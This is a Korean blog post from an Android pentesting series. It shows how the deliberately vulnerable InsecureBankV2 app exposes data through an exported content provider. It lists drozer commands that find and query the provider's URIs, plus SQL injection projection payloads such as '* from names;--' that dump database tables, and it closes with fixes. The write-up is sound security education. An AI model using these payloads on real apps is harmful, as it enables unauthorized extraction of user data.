외로운 Nova의 작업실
insecurebankv2 - 안전하지 않은 콘텐츠 프로바이더 접근 본문
insecurebankv2 - 안전하지 않은 콘텐츠 프로바이더 접근
Nova_ 2023. 5. 13. 16:00- 취약점 소개
프로바이더는 uri를 가지고 데이터베이스나 파일에 접근할 수 있는인터페이스를 제공합니다. 이때 외부에서 콘텐츠 프로바이더를 통해 중요한 데이터베이스나 파일에 접근할 수 있으므로 항상 검증하고 접근 관리를 해야합니다. 검증하지 않거나 접근 관리를 하지 않을때는 외부에서 중요한 데이터베이스나 파일에 접근할 수 있게 됩니다.
- 취약점 진단 과정
먼저 프로바이더를 사용중인지 매니페스트파일을 봐보겠습니다.
</activity>
<activity label="@2131165277"
name="com.android.insecurebankv2.ViewStatement"
exported="true">
</activity>
<provider name="com.android.insecurebankv2.TrackUserContentProvider"
exported="true"
authorities="com.android.insecurebankv2.TrackUserContentProvider">
</provider>
위는 매니페스트 파일중 일부분 입니다. 프로바이더 이름과함께 exported속성이 true로 외부 앱에서 콘텐츠 프로바이더를 통해 데이터베이스에 접근할 수 있게 되어있는 것을 확인할 수 있습니다. 드로저를 통해 공격 표면에 포함되는지 확인해보겠습니다.
콘텐츠 프로바이더부분에 공격 표면이 1개 있음을 알 수 있습니다. 콘텐츠 프로바이더를 사용해서 데이터베이스에 접근하려면 uri를 알아야합니다. 드로저로 이를 알아보겠습니다.
run scanner.provider.finduris -a com.android.insecurebankv2
쿼리가 가능한 "content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers" URI가 존재합니다. 이경로의 데이터를 뽑아보겠습니다.
run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
실제 jack으로 로그인햇던 기록들이 나오게됩니다.
<sql 인젝션>
안드로이드는 기본적으로 sql lite 데이터베이스를 사용합니다. 또한 콘텐츠프로바이더를 사용할때 projection을 통해 sql문을 가지고 콘텐츠에 접근할 수 있습니다. 이때 projection 변수를 사용하게됩니다. projection은 검색하고싶은 열을 전달할 수 있는데, 예를 들어 아래처럼 줄 수 있습니다.
String[] projection = {
"column_name1",
"column_name2",
// Add more column names as needed
};
그러면 sql문은 아래처럼 만들어집니다.
SELECT column1, column2, ... FROM table_name WHERE condition;
따라서 projection에 * from names;-- 를 주게되면 아래처럼 만들어지게됩니다.
SELECT * from names;-- FROM table_name WHERE condition;
이러면 sql injection이 가능하게됩니다. 이를 이용하여 sql injection을 해보겠습니다. 먼저 sql lite의 sqllite_master 테이블을 가지고 모든 테이블을 보겠습니다.
run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* from SQLITE_MASTER where type='table';--"
names 테이블이 있는 것을 확인할 수 있습니다. 이제 names 테이블의 값을 추출해보겠습니다.
run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* from names;--"
추출이 잘됩니다. sql injection이 가능하면 콘텐츠 프로바이더의 uri말고도 다른 데이터베이스의 정보들을 추출할 수 있습니다.
- 취약점 대응 방안
1. 콘텐츠 프로바이더의 exported 속성을 false로 변경합니다.
2. 꼭 true로 해야한다면, 권한을 가지고 접근하는지 검증하는 접근제어를 해야합니다.
'Mobile App Penetesting > Android App Vulnerability' 카테고리의 다른 글
insecurebankv2 - 애플리케이션 패칭 (0) | 2023.05.18 |
---|---|
insecurebankv2 - 취약한 암호화 실행 (0) | 2023.05.15 |
insecurebankv2 - 루팅 탐지 우회 (0) | 2023.05.12 |
insecurebankv2 - 액티비티 컴포넌트 취약점 (0) | 2023.05.11 |
insecurebankv2 - 로컬 암호화 이슈 취약점 (0) | 2023.05.08 |